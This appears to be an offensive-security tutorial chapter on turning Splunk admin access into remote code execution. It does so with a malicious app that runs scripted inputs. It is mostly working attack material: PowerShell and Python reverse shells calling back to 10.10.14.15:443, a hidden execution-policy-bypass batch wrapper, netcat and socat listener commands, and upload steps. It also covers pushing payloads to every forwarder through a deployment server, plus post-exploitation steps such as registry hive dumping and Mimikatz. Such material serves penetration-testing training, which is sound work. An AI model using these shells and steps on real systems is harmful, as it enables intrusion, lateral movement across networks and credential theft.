Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Attacking Splunk

Abusing Built-In Functionality — Scripted Input RCE

Splunk’s scripted inputs feature executes scripts on a defined interval and feeds their STDOUT into the Splunk index as data. Because Splunk runs as root (Linux) or SYSTEM (Windows) and bundles Python with every installation, this is a reliable and fast path to full system compromise from admin access — authenticated or via Splunk Free (no auth).

Supported script types:

  • Python (always available — bundled with Splunk)
  • PowerShell / Batch (Windows)
  • Bash (Linux)

App structure

A Splunk app is a directory with at minimum two subdirectories:

splunk_shell/
├── bin/          ← scripts to execute
│   ├── rev.py    ← Python reverse shell (Linux)
│   ├── run.bat   ← Batch wrapper (Windows)
│   └── run.ps1   ← PowerShell reverse shell (Windows)
└── default/
    └── inputs.conf   ← tells Splunk what to run and when

inputs.conf

inputs.conf defines the scripted inputs — which scripts to run, how often, and whether they are enabled:

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
  • disabled = 0 — the input is active
  • interval = 10 — run every 10 seconds (always in seconds)
  • The script block only executes if interval is present

Windows — PowerShell reverse shell

run.ps1 (PowerShell one-liner — update IP and port):

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

run.bat (wrapper — executes the .ps1 with bypass):

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

%~dpn0 expands to the drive, path, and name of the batch file — this resolves to run.ps1 in the same directory.


Linux — Python reverse shell

rev.py (update IP and port):

import sys, socket, os, pty

ip   = "10.10.14.15"
port = "443"

s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

pty.spawn gives a proper TTY rather than a raw socket — allows interactive programs (sudo, vi, etc.) to work.


Package and upload

1. Create the tarball

tar -cvzf updater.tar.gz splunk_shell/

Splunk accepts .spl files (which are just .tar.gz archives) or plain .tar.gz.

2. Start a listener

sudo nc -lnvp 443

Or with socat for a more stable shell:

socat TCP-LISTEN:443,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

3. Upload the app

Navigate to:

https://<target>:8000/en-US/manager/search/apps/local

Click Install app from fileBrowse → select the .tar.gzUpload.

As soon as the app uploads its status switches to Enabled and the scripted input fires within 10 seconds.

4. Shell received

connect to [10.10.14.15] from (UNKNOWN) [10.129.201.50] 53145

PS C:\Windows\system32> whoami
nt authority\system

PS C:\Windows\system32> hostname
APP03

Lateral movement via Deployment Server

If the compromised Splunk instance is a deployment server, it manages Universal Forwarders installed on other hosts in the network. Placing a malicious app in the deployment-apps directory pushes it to every connected forwarder:

$SPLUNK_HOME/etc/deployment-apps/

Note: Universal Forwarders do not include Python — they are minimal Splunk agents. On Windows environments, use a PowerShell reverse shell. On Linux, use Bash.

This can turn a single Splunk compromise into RCE on every host running a Universal Forwarder — potentially dozens or hundreds of systems depending on the Splunk deployment size.


Post-exploitation

From a NT AUTHORITY\SYSTEM or root shell via Splunk:

ActionPurpose
Dump registry hives (HKLM\SAM, HKLM\SYSTEM)Extract local account hashes
Run Mimikatz / lsass dumpExtract domain credentials from memory
Enumerate $SPLUNK_HOME/etc/Splunk stores credentials, tokens, and forwarder configs
Search Splunk indexesIndexed log data may contain plaintext credentials, API keys, connection strings
Check deployment-appsIdentify other managed hosts; push lateral movement payloads
Enumerate ADIf domain-joined, begin AD enumeration from this foothold